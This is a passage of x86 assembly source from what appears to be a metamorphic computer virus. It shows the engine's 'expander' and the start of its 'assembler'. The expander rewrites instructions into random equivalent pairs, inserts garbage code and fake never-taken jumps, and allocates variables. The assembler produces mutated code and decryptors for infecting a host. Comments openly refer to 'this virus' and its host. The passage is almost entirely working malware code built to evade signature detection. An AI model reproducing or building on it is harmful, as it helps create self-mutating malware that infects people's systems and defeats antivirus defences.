                jnz     Xp_DecreaseRecurseLevel
                call    Random         ; Make a quantity of bytes from 1 to 8
                and     eax, 7
                add     eax, 1
                mov     ecx, eax
      @@LoopInsert:
                call    Random        ; Get a random byte
                mov     al, 0FDh      ; Set FD pseudoopcode (it means "insert
                mov     [edi], eax    ; this byte directly into the code").
                add     edi, 10h
                sub     ecx, 1
                or      ecx, ecx      ; Repeat it the random number that we
                jnz   @@LoopInsert    ; got before
                jmp     Xp_DecreaseRecurseLevel

;; Let's insert an instruction that acts as a stop mark for the code branch.
;; This is necessary because if we code a jump as a CMP Reg,Reg / JZ @xxx,
;; the disassembler will continue tracing the code after the JZ (it's just
;; a conditional jump, not an unconditional one). So, we must set a "release"
;; mark that makes the disassembler to stop processing this line of code: RET,
;; JMP Reg or JMP Mem.
@@InsertStopMark:
                call    Random
                and     eax, 3
                or      eax, eax       ; 0?
                jz    @@InsertStopMark ; Then select another number
                cmp     eax, 1
                jz    @@GenerateRET    ; Make RET
                cmp     eax, 2
                jz    @@GenerateJMPMem ; Make JMP Mem
        ; Make a JMP Reg. We don't care where it goes, since it's never
        ; going to be executed.
   @@GenerateJMPReg:
                call    Xp_SaveOperation
                call    Random           ; Get a random register
                and     eax, 7           ; Set it
                mov     [ebp+Xp_Register], eax
                xor     eax, eax         ; Mark 32 bits size
                mov     [ebp+Xp_8Bits], eax
                call    Xp_GenJMPReg     ; Generate a JMP Reg
                jmp     Xp_RestoreOpAndDecreaseRecurseLevel
        ; Make a JMP [Mem]
   @@GenerateJMPMem:
                call    Xp_SaveOperation ; Allocate a temporary variable
                call    Xp_GetTempVar
             ;   mov     eax, [ebp+Xp_Immediate] ; Something that I did and
             ;   and     eax, 0FFFF00FFh         ; I don't remember why... :?
             ;   mov     [ebp+Xp_Immediate], eax
                call    Xp_GenJMPMem           ; Generate a JMP Mem
                jmp     Xp_RestoreOpAndDecreaseRecurseLevel
   @@GenerateRET:
                call    Xp_GenRET              ; Generate a RET
                jmp     Xp_DecreaseRecurseLevel
Xp_GenJMP       endp

;; This function generates a conditional jump directly or composed. Here we
;; use all the variants the shrinker is capable to shrink (obviously, because
;; if not this jumps would never be compressed).
Xp_GenJcc       proc
                call    Xp_IncreaseRecurseLevel
                cmp     eax, 2   ; Code the composed jumps only on the first
                jae   @@Single   ; levels of recursivity
                call    Random
                and     eax, 3   ; Make it directly with a prob. of 75%
                or      eax, eax
                jnz   @@Single
   @@Double:    call    Random
                and     eax, 0Fh
                or      eax, eax      ; Get a chance of 1/16
                jnz   @@Double2       ; If the odds selected the other 15/16,
                                      ; make a normal double
                mov     eax, 1        ; Mark the conditional jump as being
                mov     [edi+7], eax   ; coded as NEG_Jcc + JMP. For example:
                call  @@InternalSingle2 ; JZ @x  -->  JNZ @y/JMP @x/ @y:
                jmp     Xp_DecreaseRecurseLevel

   @@Double2:   mov     eax, [ebp+Xp_Operation]
                cmp     eax, 73h     ; JAE?
                jz    @@Double_JAE
                cmp     eax, 75h     ; JNZ?
                jz    @@Double_JNZ
                cmp     eax, 76h     ; JBE?
                jnz   @@Single
   @@Double_JBE:
                mov     ebx, 72h   ; If JBE, we can select any pair from
                mov     ecx, 74h   ; the set JB,JZ,JBE and we'll making a JBE
                mov     edx, 76h
                jmp   @@Double_GarbleAndSelect
   @@Double_JNZ:
                mov     ebx, 72h   ; If JNZ, we can select a pair from the
                mov     ecx, 75h   ; set JB,JNZ,JA
                mov     edx, 77h
                jmp   @@Double_GarbleAndSelect
   @@Double_JAE:
                mov     ebx, 73h   ; If JAE, the set to select is JAE,JZ,JA
                mov     ecx, 74h
                mov     edx, 77h
   @@Double_GarbleAndSelect:
                call    Xp_GarbleRegisters ; Get ramdomly two from that set.
                call    Xp_SaveOperation
                push    ecx
                mov     [ebp+Xp_Operation], edx  ; Generate the first Jcc
                call  @@InternalSingle
                pop     ecx
                mov     [ebp+Xp_Operation], ecx  ; Generate the second Jcc
                call  @@InternalSingle
                jmp     Xp_RestoreOpAndDecreaseRecurseLevel

   @@Single:    call  @@InternalSingle           ; Make it single
                jmp     Xp_DecreaseRecurseLevel

Xp_GenJcc_SingleJcc:
   @@InternalSingle:
                xor     eax, eax        ; For singles, we mark the Jcc as
                mov     [edi+7], eax    ; not being NEG_Jcc/JMP
   @@InternalSingle2:
                mov     eax, [ebp+Xp_Operation]  ; Code the instruction
                mov     [edi], eax
                mov     eax, [ebp+Xp_Immediate]
                mov     [edi+1], eax
                add     edi, 10h
                ret
Xp_GenJcc       endp

;; This function is to generate a MOVZX. We have three variants: the MOVZX
;; itself, MOV Reg,[Mem]/AND Reg,0FF or MOV Reg,0/MOV Reg8,[Mem]
Xp_GenMOVZX     proc
                call    Xp_IncreaseRecurseLevel
                cmp     eax, 3
                jae   @@Single
                call    RandomBoolean   ; Single?
                or      eax, eax
                jz    @@Single          ; Then, jump
                call    RandomBoolean
                or      eax, eax
                jz    @@Double_1        ; Pair 1 or pair 2?
       @@Double_2:
                xor     eax, eax        ; First construct the MOV Reg,[Mem]
                mov     [ebp+Xp_8Bits], eax
                mov     eax, 40h
                mov     [ebp+Xp_Operation], eax
                call    Xp_GenOPRegMem  ; Generate the operation
                xor     eax, eax        ; And now make AND Reg,0FFh
                mov     [ebp+Xp_8Bits], eax
                mov     eax, 20h
                mov     [ebp+Xp_Operation], eax
                mov     eax, 0FFh
                mov     [ebp+Xp_Immediate], eax
                call    Xp_GenOPRegImm  ; Generate the operation
                jmp     Xp_DecreaseRecurseLevel
       @@Double_1:
                mov     eax, [ebp+Register8Bits]
                call    Xpand_TranslateRegister
                mov     ebx, [ebp+Xp_Register]
                cmp     eax, ebx
                jnz   @@Double_2
                mov     eax, 40h         ; Make first a MOV Reg,0
                mov     [ebp+Xp_Operation], eax
                xor     eax, eax
                mov     [ebp+Xp_Immediate], eax
                mov     [ebp+Xp_8Bits], eax
                call    Xp_GenOPRegImm
                mov     eax, 80h         ; And now make a MOV Reg8,[Mem]
                mov     [ebp+Xp_8Bits], eax
                call    Xp_GenOPRegMem
                jmp     Xp_DecreaseRecurseLevel
       @@Single:
                mov     eax, 0F8h        ; Code directly the instruction.
                mov     [edi], eax
                call    Xp_CopyMemoryReference
                mov     eax, [ebp+Xp_Register]
                mov     [edi+7], eax
                add     edi, 10h
                jmp     Xp_DecreaseRecurseLevel
Xp_GenMOVZX     endp

;; Function to make the SET_WEIGHT code mark.
Xp_MakeSET_WEIGHT proc
                call    Xp_SaveOperation
                mov     eax, [ebp+Xp_SrcRegister]
                mov     [ebp+Xp_Register], eax
                call    Xp_GenPUSHReg
                mov     eax, 40h
                mov     [ebp+Xp_Operation], eax
                call    Xp_GenOPRegImm
                call    Xp_RestoreOperation
                mov     eax, [ebp+Xp_Immediate]
                or      eax, eax
                jz    @@ReadWeightIdent0
                cmp     eax, 1
                jz    @@ReadWeightIdent1
                cmp     eax, 2
                jz    @@ReadWeightIdent2
                cmp     eax, 3
                jz    @@ReadWeightIdent3
                cmp     eax, 4
                jz    @@ReadWeightIdent4
       @@ReadWeightIdent5:
                mov     eax, [ebp+Weight_X020_23]
                jmp   @@SetWeight
       @@ReadWeightIdent0:
                mov     eax, [ebp+Weight_X000_3]
                jmp   @@SetWeight
       @@ReadWeightIdent1:
                mov     eax, [ebp+Weight_X004_7]
                jmp   @@SetWeight
       @@ReadWeightIdent2:
                mov     eax, [ebp+Weight_X008_11]
                jmp   @@SetWeight
       @@ReadWeightIdent3:
                mov     eax, [ebp+Weight_X012_15]
                jmp   @@SetWeight
       @@ReadWeightIdent4:
                mov     eax, [ebp+Weight_X016_19]
       @@SetWeight:
                mov     [ebp+Xp_Immediate], eax
                mov     eax, 40h
                mov     [ebp+Xp_Operation], eax
                call    Xp_GenOPRegImm

                call    Xp_GenOPMemReg

                mov     eax, [ebp+Xp_SrcRegister]
                mov     [ebp+Xp_Register], eax
                call    Xp_GenPOPReg
                ret
Xp_MakeSET_WEIGHT endp


;;; ------------------------------------------------
;;;

;; Now these are helper functions. They are used from other parts of the
;; engine, not only by the expander.
;; This function is an optimization of how we cam make in little code a
;; permutation of three registers in a way that every possible combination
;; is present, and moreover all them have the same probability of appear.
;; The theory is that there are 6 possible permutations for a set of three
;; values (in this case EBX, ECX and EDX). Then, following the code, you'll
;; see that the permutation is made by:
;;
;; 1) Randomly decide if goto 3)
;; 2) Exchange 1st and 2nd OR Exchange 1st and 3rd (always)
;; 3) Decide if we exchange 2nd and 3rd. Do it or not.
Xp_GarbleRegisters proc
                call    Random
                and     eax, 3
                or      eax, eax
                jz      Xp_GarbleRegisters
                cmp     eax, 1
                jz    @@Permutation0
                cmp     eax, 2
                jz    @@Permutation1
    @@Permutation2:
                mov     eax, ebx
                mov     ebx, edx
                mov     edx, eax   ; XCHG EBX,EDX
                jmp   @@Permutation0
    @@Permutation1:
                mov     eax, ebx
                mov     ebx, ecx
                mov     ecx, eax   ; XCHG EBX,ECX
    @@Permutation0:
                call    RandomBoolean
                or      eax, eax
                jz    @@Return
    @@Permutation0_0:
                mov     eax, edx
                mov     edx, ecx
                mov     ecx, eax   ; XCHG ECX,EDX
    @@Return:   ret
Xp_GarbleRegisters endp

;; Get an special conditional jump. The jump obtained here is specially
;; selected to be used for CMP Reg,Reg/Jcc @x pairs. The direct result from
;; this instruction will make that the conditional jump never occurs, while
;; if we inverse the bit 0 of the Jcc returned we'll make that the Jcc
;; always jump.
;; The algorithm here is a hard optimization to select one of that types of
;; jumps. The jumps that act like a NOP are JO/JB/JNZ/JA/JS/JNP/JL/JG, while
;; the ones that always jump are JNO/JAE/JZ/JBE/JNS/JP/JGE/JLE. We are going
;; to use only the NOP ones. The opcodes in number are:
;;
;; 70,72,75,77,78,7B,7C,7F
;;
;; So these are the only values we can return. We pass them to binary (only
;; the low nibble):
;;
;; 0000,0010,0101,0111,1000,1011,1100,1111
;;
;; And we see that the values are repeated in a certain way. Let's join them
;; in groups:
;; 0000   1000         0 00 0     1 00 0
;; 0010   1011         0 01 0     1 01 1
;; 0101   1100   -->   0 10 1     1 10 0
;; 0111   1111         0 11 1     1 11 1
;;
;; The numbers are the same, excepting by the high bit and the low one.
;; Now, just notice that when the high bit is clear the lowest bit is the
;; same than the bit 2, and when the high bit is set the lowest bit is equal
;; to the bit 1. Then, what we do is to copy the bit 2 or 1 to the bit 0
;; depending if bit 3 is 0 or 1. Just what we do below.
Xp_GetSpecialJcc proc
                push    ebx
                call    Random
                mov     ebx, eax  ; Copy the random in EBX
                and     eax, 0Eh  ; Get a random number from 00 to 0E (even)
                cmp     eax, 8    ; High bit active?
                jae   @@Next      ; Then only shift EBX once
                shr     ebx, 1
      @@Next:   shr     ebx, 1
                and     ebx, 1    ; Get the resulting last bit
                add     eax, ebx  ; Add it to the random from 00 to 0E
                add     eax, 70h  ; Convert it to Jcc
                pop     ebx
                ret
Xp_GetSpecialJcc endp

;; This function will take the operation to perform (in an OP Reg/Mem,Imm
;; operation) and will calculate a pair of operation that do the same with
;; a new Imm value for each one. The MOV has the most variated results, and
;; there are others that can't be decomposed, such SUB.
;; The decomposition is done in the following way for every case. I had to
;; deduce each formula (concretely for OR and AND) from scratch, so maybe
;; there are others better, but I didn't find them. Maybe the formulas
;; below aren't correct: that's because I coded it, optimize it, and I didn't
;; remember to write down the process, so I have to re-deduce them :).
;;
;; Taking Rnd1, Rnd2 as random numbers, and Imm as the destiny value:
;; MOV:
;;      MOV Rnd1, ADD Imm-Rnd1
;;      MOV Rnd1&Imm, OR ((Rnd2 & Imm)^(Rnd1 & Imm))|(Rnd2 & Imm)
;;      MOV (Rnd2 & NOT(Rnd1))|Imm, AND (Rnd1 | Imm)  (1)
;;      MOV NOT(Rnd1)|Imm, AND Rnd1|Imm               (2)
;;      MOV Rnd1, XOR Rnd1^Imm
;;
;; ADD:
;;      ADD Rnd1, ADD Imm-Rnd1
;; OR:
;;      OR Rnd1&Imm, OR ((Rnd1&Imm)^Imm)|(Imm&Rnd2)
;; AND:
;;      AND Imm|Rnd1, AND Imm|NOT(Rnd1)
;; XOR:
;;      XOR Rnd1, XOR Imm^Rnd1
;;
Xp_MakeComposedOPImm proc
                call    Xp_SaveOperation
                call    Random
                mov     ebx, eax                 ; Get a random number in EBX
                mov     edx, [ebp+Xp_Immediate]  ; Get the Imm in EDX
                mov     eax, [ebp+Xp_Operation]  ; Get the operation
                or      eax, eax
                jz    @@Double_OP_ADD       ; ADD?
                cmp     eax, 8
                jz    @@Double_OP_OR        ; OR?
                cmp     eax, 20h
                jz    @@Double_OP_AND       ; AND?
                cmp     eax, 30h
                jz    @@Double_OP_XOR       ; XOR?
                cmp     eax, 40h
                jnz   @@Return_Error
   @@Double_OP_MOV:                         ; MOV?
                call    Random
                and     eax, 7
                or      eax, eax
                jz    @@Double_OP_MOV_ADD   ; MOV + ADD
                cmp     eax, 1
                jz    @@Double_OP_MOV_OR    ; MOV + OR
                cmp     eax, 2
                jz    @@Double_OP_MOV_AND   ; MOV + AND
                cmp     eax, 3
                jz    @@Double_OP_MOV_XOR   ; MOV + XOR
                cmp     eax, 4
                jnz   @@Double_OP_MOV       ; MOV only
   @@Double_OP_MOV_MOV:
                mov     eax, [ebp+Xp_FlagRegOrMem]
                or      eax, eax
                jz    @@Double_OP_MOV_MOV_MakeReg
                call    Xp_GenOPMemImm
                jmp   @@Return_NoError
   @@Double_OP_MOV_MOV_MakeReg:
                call    Xp_GenOPRegImm
                jmp   @@Return_NoError

   @@Double_OP_MOV_ADD:                     ; Calculate the two Imms for
                sub     edx, ebx            ; MOV + ADD
                xor     ecx, ecx
                jmp   @@Double_OP_MOV_OP
   @@Double_OP_MOV_OR:
                and     ebx, edx            ; Calculate the two Imms for
                call    Random              ; MOV + OR
                and     eax, edx
                xor     edx, ebx
                or      edx, eax
                mov     ecx, 8
                jmp   @@Double_OP_MOV_OP
   @@Double_OP_MOV_AND:
                call    RandomBoolean         ; Calculate the two Imms for
                or      eax, eax              ; MOV + AND (two different
                jz    @@Double_OP_MOV_AND_2   ; methods)
                call    Random
                not     ebx
                and     eax, ebx
                not     ebx
                mov     ecx, eax
                or      ecx, edx
                or      edx, ebx
                mov     ebx, ecx
                mov     ecx, 20h
                jmp   @@Double_OP_MOV_OP
   @@Double_OP_MOV_AND_2:
                mov     ecx, ebx
                not     ecx
                or      ecx, edx
                or      edx, ebx
                mov     ebx, ecx
                mov     ecx, 20h
                jmp   @@Double_OP_MOV_OP
   @@Double_OP_MOV_XOR:                     ; Calculate the two Imms for XOR
                xor     edx, ebx
                mov     ecx, 30h
   @@Double_OP_MOV_OP:                      ; Make the two instructions:
                push    ecx
                push    edx
                mov     eax, 40h            ; Generate a MOV Reg/Mem,Imm1
                mov     [ebp+Xp_Operation], eax
                mov     [ebp+Xp_Immediate], ebx
                mov     eax, [ebp+Xp_FlagRegOrMem]
                or      eax, eax
                jz    @@Double_OP_MOV_OP_MakeReg
                call    Xp_GenOPMemImm
                pop     edx
                pop     ecx                 ; Generate an OP Mem,Imm2
                mov     [ebp+Xp_Operation], ecx
                mov     [ebp+Xp_Immediate], edx
                call    Xp_GenOPMemImm
                jmp   @@Return_NoError
   @@Double_OP_MOV_OP_MakeReg:
                call    Xp_GenOPRegImm
                pop     edx                 ; Generate an OP Reg,Imm2
                pop     ecx
                mov     [ebp+Xp_Operation], ecx
                mov     [ebp+Xp_Immediate], edx
                call    Xp_GenOPRegImm
                jmp   @@Return_NoError

   @@Double_OP_ADD:
                sub     edx, ebx       ; Calculate the 2nd Imm for ADD
                jmp   @@Double_OP_OP
   @@Double_OP_OR:
                and     ebx, edx       ; Calculate the two Imms for OR+OR
                mov     ecx, edx
                xor     edx, ebx
                call    Random
                and     ecx, eax
                or      edx, ecx
                jmp   @@Double_OP_OP
   @@Double_OP_AND:
                mov     ecx, ebx       ; Calculate the two Imms for AND+AND
                or      ebx, edx
                not     ecx
                or      edx, ecx
                jmp   @@Double_OP_OP
   @@Double_OP_XOR:
                xor     edx, ebx       ; Calculate the two Imms for XOR+XOR
   @@Double_OP_OP:
                push    edx          ; Make OP Mem/Reg,Imm1 + OP Mem/Reg,Imm2
                mov     [ebp+Xp_Immediate], ebx
                mov     eax, [ebp+Xp_FlagRegOrMem]
                or      eax, eax
                jz    @@Double_OP_OP_MakeReg
                call    Xp_GenOPMemImm    ; Make OP Mem,Imm1
                pop     edx
                mov     [ebp+Xp_Immediate], edx
                call    Xp_GenOPMemImm    ; Make OP Mem,Imm2
                jmp   @@Return_NoError
   @@Double_OP_OP_MakeReg:
                call    Xp_GenOPRegImm    ; Make OP Reg,Imm1
                pop     edx
                mov     [ebp+Xp_Immediate], edx
                call    Xp_GenOPRegImm    ; Make OP Reg,Imm2
   @@Return_NoError:
                call    Xp_RestoreOperation
                xor     eax, eax
                ret
   @@Return_Error:
                call    Xp_RestoreOperation
                mov     eax, 1
                ret
Xp_MakeComposedOPImm endp

;; This function increases the recursivity level and returns the result in
;; EAX (as a side level :).
Xp_IncreaseRecurseLevel proc
                mov     eax, [ebp+Xp_RecurseLevel]
                add     eax, 1
                mov     [ebp+Xp_RecurseLevel], eax
                ret
Xp_IncreaseRecurseLevel endp

;; This function restores the previous saved operation and decreases the
;; recursivity level previously increased.
Xp_RestoreOpAndDecreaseRecurseLevel proc
                call    Xp_RestoreOperation
Xp_RestoreOpAndDecreaseRecurseLevel endp    ; No return! Continue directly
                                            ; to the next function

;; This is an entrypoint for decreasing only the recursivity level (with no
;; function restoration).
Xp_DecreaseRecurseLevel proc
                mov     eax, [ebp+Xp_RecurseLevel]
                sub     eax, 1
                mov     [ebp+Xp_RecurseLevel], eax
                ret
Xp_DecreaseRecurseLevel endp

;; This code copies the indexes and the addition of the current used memory
;; address to the appropiated fields of the current instruction at <EDI>.
Xp_CopyMemoryReference proc
                mov     eax, [ebp+Xp_Mem_Index1]
                mov     [edi+1], eax
                mov     eax, [ebp+Xp_Mem_Index2]
                mov     [edi+2], eax
                mov     eax, [ebp+Xp_Mem_Addition]
                mov     [edi+3], eax
                ret
Xp_CopyMemoryReference endp

;; Function to save the current operation into the stack
Xp_SaveOperation proc
                pop     ebx           ; Return address
                mov     eax, [ebp+Xp_Operation]
                push    eax                       ; Save all the values of
                mov     eax, [ebp+Xp_Mem_Index1]  ; the current operation
                push    eax
                mov     eax, [ebp+Xp_Mem_Index2]
                push    eax
                mov     eax, [ebp+Xp_Mem_Addition]
                push    eax
                mov     eax, [ebp+Xp_Register]
                push    eax
                mov     eax, [ebp+Xp_SrcRegister]
                push    eax
                mov     eax, [ebp+Xp_Immediate]
                push    eax
                mov     eax, [ebp+Xp_8Bits]
                push    eax
                push    ebx                 ; Push again the return address
                ret
Xp_SaveOperation endp

;; Function to restore the current operation from the stack
Xp_RestoreOperation proc
                pop     ebx           ; Return address
                pop     eax
                mov     [ebp+Xp_8Bits], eax
                pop     eax                        ; Restore all the values
                mov     [ebp+Xp_Immediate], eax    ; previously stored in the
                pop     eax                        ; stack
                mov     [ebp+Xp_SrcRegister], eax
                pop     eax
                mov     [ebp+Xp_Register], eax
                pop     eax
                mov     [ebp+Xp_Mem_Addition], eax
                pop     eax
                mov     [ebp+Xp_Mem_Index2], eax
                pop     eax
                mov     [ebp+Xp_Mem_Index1], eax
                pop     eax
                mov     [ebp+Xp_Operation], eax
                push    ebx
                ret
Xp_RestoreOperation endp

;; Allocate a temporary variable. The variable is marked in the memory section
;; dedicated to that marks, to avoid its reusing. Since we have a data section
;; of 128 Kb, we have 16384 temporary variables to use (more than sufficient
;; for this virus). If what we are doing is expanding a decryptor code, then
;; we only use the first 4 Kb of the memory frame (the memory that we'll have
;; available in the host).
Xp_GetTempVar   proc
                push    edx
                call    Random
                mov     edx, eax          ; Get a random number
    @@VariableCheck:
                and     edx, 1FFF8h       ; Mask the value
                mov     eax, [ebp+CreatingADecryptor]
                or      eax, eax          ; If we are making a decryptor, then
                jz    @@Normal1           ; we only get variables from the
                and     edx, 00FF8h       ; first 4 Kb and avoiding the first
                cmp     edx, 20h          ; 32 bytes (used by the decryptor
                jb    @@Add20             ; for making its operations) and the
                cmp     edx, 0F00h        ; last 100h bytes (a random offset
                jb    @@Normal1           ; that we set at decryptor creation)
                xor     edx, edx
    @@Add20:    add     edx, 20h
    @@Normal1:  add     edx, [ebp+VarMarksTable]
                mov     eax, [edx]        ; Look if it's already marked.
                or      eax, eax          ; If it is, Get the next one and
                jz    @@VariableFound     ; look again.
                sub     edx, [ebp+VarMarksTable]
                add     edx, 8
                jmp   @@VariableCheck
    @@VariableFound:                      ; When we find an unallocated one,
                mov     eax, 1            ; we mark it.
                mov     [edx], eax
                sub     edx, [ebp+VarMarksTable]
                call    Random            ; Now we get an internal random
                and     eax, 3            ; offset from 0 to 3 and we add it
                add     edx, eax          ; to the address.
                mov     eax, [ebp+CreatingADecryptor]
                or      eax, eax
                jz    @@Normal2           ; If we are making a decryptor, we
                add     edx, [ebp+Decryptor_DATA_SECTION] ; set no_reg as
                mov     [ebp+Xp_Mem_Addition], edx        ; index register.
                mov     eax, 8                       ; If not, we translate
                jmp   @@Continue                     ; the delta register and
    @@Normal2:  add     edx, [ebp+New_DATA_SECTION]  ; we set it, so the var
                mov     [ebp+Xp_Mem_Addition], edx   ; is [DLT_REG+xxx]
                mov     eax, [ebp+DeltaRegister]
                call    Xpand_TranslateRegister
    @@Continue: mov     [ebp+Xp_Mem_Index1], eax  ; Set the index1 register
                mov     eax, 8
                mov     [ebp+Xp_Mem_Index2], eax  ; Set the index2 as <no_reg>
                pop     edx
                ret
Xp_GetTempVar   endp

;; This function generates garbage instructions that will be eliminated by the
;; shrinker. They are compressed to NOPs.
Xp_InsertGarbage proc
                call    Random
                and     eax, 7             ; Get a random method
                or      eax, eax
                jz    @@MakeOneByter       ; Make a one byte instruction
                cmp     eax, 1
                jz    @@MakeMOVRegReg      ; Make MOV Reg,Reg (the same reg)
                cmp     eax, 2
                jz    @@MakeANDs1          ; Make AND Reg,-1
                cmp     eax, 3
                jz    @@MakeOR0            ; Make OR Reg,0
                cmp     eax, 4
                jz    @@MakeXOR0           ; Make XOR Reg,0
                cmp     eax, 5
                jz    @@MakeADD0           ; Make ADD Reg,0
                cmp     eax, 6
                jz    @@MakeCMPJcc         ; Make CMP Reg,Reg/Jcc (Jcc never
                                           ; jumps)
                jmp     Xp_InsertGarbage   ; Select another if 7

        @@MakeADD0:
                xor     eax, eax           ; Set the operation ADD
                mov     [ebp+Xp_Operation], eax
        @@MakeOP0:
                xor     eax, eax           ; Imm = 0
                mov     [ebp+Xp_Immediate], eax
        @@MakeOPx:
                xor     eax, eax           ; Set 0 at the field of labels
                mov     [edi+0Bh], eax
                mov     [edi+0Ch], esi     ; Set the instruction pointer
                xor     eax, eax
                mov     [ebp+Xp_8Bits], eax  ; Set "32 bits"
        @@MakeOPReg0:
                call    Random          ; Get a random register. It must not
                and     eax, 7          ; be ESP nor the delta register
                cmp     eax, 4
                jz    @@MakeOPReg0
                cmp     eax, [ebp+TranslatedDeltaRegister]
                jz    @@MakeOPReg0
                mov     [ebp+Xp_Register], eax ; Set the register and make
                call    Xp_GenOPRegImm         ; the operation
                ret

        @@MakeOR0:
                mov     eax, 8            ; Set operation OR
                mov     [ebp+Xp_Operation], eax
                jmp   @@MakeOP0

        @@MakeXOR0:
                mov     eax, 30h          ; Set operation XOR
                mov     [ebp+Xp_Operation], eax
                jmp   @@MakeOP0

        @@MakeANDs1:
                mov     eax, 20h          ; Set operation AND
                mov     [ebp+Xp_Operation], eax
                mov     eax, -1           ; Set -1 as Immediate
                mov     [ebp+Xp_Immediate], eax
                jmp   @@MakeOPx


        @@MakeCMPJcc:
                call    Random         ; Get a register to compare
                and     eax, 7         ; If ESP or delta, we jump to make
                cmp     eax, 4         ; other type of garbage. It's better
                jz    @@MakeADD0       ; to not use this much, because then
                cmp     eax, [ebp+TranslatedDeltaRegister] ; the code uses too
                jz    @@MakeADD0       ; many jumps in future generations (in
                                       ; the third dimension :).
                mov     [ebp+Xp_Register], eax    ; Set the same register as
                mov     [ebp+Xp_SrcRegister], eax ; source and destiny
                xor     eax, eax
                mov     [ebp+Xp_8Bits], eax   ; Set 32 bits size
                mov     [edi+0Bh], eax        ; Clear the label flag and set
                mov     [edi+0Ch], esi        ; the pointer
                mov     eax, 38h              ; CMP Reg,Reg
                mov     [ebp+Xp_Operation], eax
                call    Xp_GenOPRegReg        ; Generate the operation
                call    Xp_GetSpecialJcc      ; Get a special Jcc that never
                mov     [ebp+Xp_Operation], eax ; jumps
        @@OtherLabel:
                call    Random                ; Get a random label from the
                and     eax, 01F8h            ; list of labels
                cmp     eax, [ebp+NumberOfLabels]
                jae   @@OtherLabel
                add     eax, [ebp+LabelTable] ; Make it jump there (in theory)
                mov     [ebp+Xp_Immediate], eax
                call    Xp_GenJcc_SingleJcc   ; Generate a single Jcc
                ret

        @@MakeMOVRegReg:
                call    Random          ; Get a random register
                and     eax, 7
                cmp     eax, 4
                jz    @@MakeMOVRegReg
                cmp     eax, [ebp+TranslatedDeltaRegister]
                jz    @@MakeMOVRegReg
                mov     [ebp+Xp_Register], eax   ; Set it as source & dest.
                mov     [ebp+Xp_SrcRegister], eax
                xor     eax, eax
                mov     [ebp+Xp_8Bits], eax      ; Set 32 bits size
                mov     [edi+0Bh], eax
                mov     [edi+0Ch], esi    ; Clear label and set pointer
                mov     eax, 40h
                mov     [ebp+Xp_Operation], eax ; Make MOV Reg,Reg
                call    Xp_GenOPRegReg
                ret

        @@MakeOneByter:
                call    RandomBoolean    ; Get random TRUE or FALSE
                or      eax, eax
                jz    @@OnlyNOP          ; If FALSE, make a NOP
                call    Random
                and     eax, 0100h       ; Get CLC or STC
                add     eax, 0F8FDh      ; Set the instruction as a direct
                jmp   @@OtherOneByter    ; byte
   @@OnlyNOP:   mov     eax, 90FDh       ; Set NOP
   @@OtherOneByter:
                mov     [edi], eax       ; Set the instruction
                xor     eax, eax
                mov     [edi+0Bh], eax   ; Clear the "label-on" flag
                mov     [edi+0Ch], esi   ; Set the pointer
                add     edi, 10h
                call    Random           ; Select if we make again other
                and     eax, 0Fh         ; random byte (a prob. of 1/16)
                or      eax, eax
                jz    @@MakeOneByter
                ret
Xp_InsertGarbage endp
;;
;;
;; End of the expander
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;;KEYWORD: Key_!Assembler
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; ********************************************************************** ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; The assembler
;; -------------
;;
;; This code will convert from our reassembler directly into 80x86 opcodes.
;;
;; The assembly is done directly, I mean, this function doesn't add more
;; instructions randomly, since that work must be done by the expander. The
;; only random operations this code does is at opcode level.
;;
;; The generated code is completely prepared to be copied directly to the
;; host. All the instructions using relative displacements are fixed and
;; assembled to randomly their short or long form (when it's possible to use
;; a short jump). The reassembly also supports foward references.
;; 
AssembleCode    proc
                xor     eax, eax
                mov     [ebp+NumberOfJumpRelocations], eax ; Initialize the
                                            ; after-assembly jump relocations
                mov     esi, [ebp+InstructionTable]
                mov     edi, [ebp+NewAssembledCode]
      ;; Mark all labels in instructions
                mov     ecx, [ebp+NumberOfLabels]   ; Let's mark all the
                mov     edx, [ebp+LabelTable]       ; instructions that has
     @@LoopSetLabel:                                ; a label, just in case
                mov     ebx, [edx+4]                ; someone hasn't been
                mov     eax, [ebx+0Bh]              ; marked before.
                or      eax, 01h
                mov     [ebx+0Bh], eax
                add     edx, 8
                dec     ecx
                or      ecx, ecx
                jnz   @@LoopSetLabel

   @@LoopAssemble_01:
                mov     eax, [esi+0Bh]      ; Get the label mark
                and     eax, 0FFh           ; If it has a label, let's set it
                cmp     eax, 1
                jnz   @@Assemble_Instruction
                mov     eax, [ebp+NumberOfLabels] ; Get the label table
                mov     edx, [ebp+LabelTable]
   @@LoopCheckLabel:
                cmp     [edx+4], esi        ; Search the label. When we find
                jnz   @@CheckNextLabel      ; it, we set the current assembly
                mov     [edx], edi          ; EIP.
   @@CheckNextLabel:
                add     edx, 8              ; Next
                dec     eax
                or      eax, eax
                jnz   @@LoopCheckLabel
   @@Assemble_Instruction:
                call    AssembleInstruction ; Assemble the instruction
                add     esi, 10h            ; Increase pseudoassembler pointer
                mov     eax, [ebp+AddressOfLastInstruction]
                cmp     esi, eax            ; Is it the last instruction?
                jb    @@LoopAssemble_01     ; If not, loop again
                mov     [ebp+AddressOfLastInstruction], edi ; Set the last
                                                            ; instruction
                mov     eax, edi
                sub     eax, [ebp+NewAssembledCode] ; Get the size of the code
                mov     [ebp+SizeOfNewCode], eax
                add     eax, 20h            ; Set a mini data frame for some
                                            ; possibilities of the decryptor
                mov     ebx, 0F000h     ; Let's get the rounded size of the
   @@LoopGetRoundedSize:                ; code (rounded up to 4 Kb), with a
                add     ebx, 1000h      ; minimum value of F000
                cmp     ebx, eax
                jb    @@LoopGetRoundedSize
                mov     [ebp+RoundedSizeOfNewCode], ebx

                mov     eax, 4000h      ; Get the size of the code rounded up
   @@LoopGetSizeP2:                     ; to the next power of 2 (for the
                shl     eax, 1          ; Pseudo-Random Index DEcryption)
                cmp     eax, [ebp+SizeOfNewCode]
                jb    @@LoopGetSizeP2
                mov     [ebp+SizeOfNewCodeP2], eax

  ;; Now we are going to complete the jumps that we left until the whole
  ;; code is assembled.
                mov     esi, [ebp+JumpRelocationTable]
                mov     ecx, [ebp+NumberOfJumpRelocations]

    @@LoopReloc01:
                mov     edi, [esi]    ; Get the jump and the address
